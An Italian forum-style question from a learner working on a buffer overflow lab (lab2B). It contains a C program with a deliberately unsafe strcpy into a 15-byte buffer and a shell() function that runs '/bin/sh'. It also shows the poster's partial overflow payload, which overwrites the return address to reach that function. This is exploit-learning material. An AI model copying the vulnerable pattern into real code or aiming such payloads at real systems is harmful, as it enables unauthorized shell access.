Sto sperimentando le basi del buffer overflow, sto provando a chiamare la funzione shell senza modificare il codice. Finora sono riuscito a chiamarlo ma non riesco a trovare un modo per dargli il parametro giusto (che è exec_string)
Ecco il codice:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B -m32
*/
char* exec_string = "/bin/sh";
void shell(char* cmd)
{
system(cmd);
}
void print_name(char* input)
{
char buf[15];
strcpy(buf, input);
printf("Hello %s\n", buf);
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
print_name(argv[1]);
return EXIT_SUCCESS;
}
Lo eseguo con ./lab2B $(python -c 'print "A"*27 + "\x8D\x55\x55\x56"')
che sembra consentirmi di entrare nella shell, secondo gdb.
Grazie in anticipo per il tuo aiuto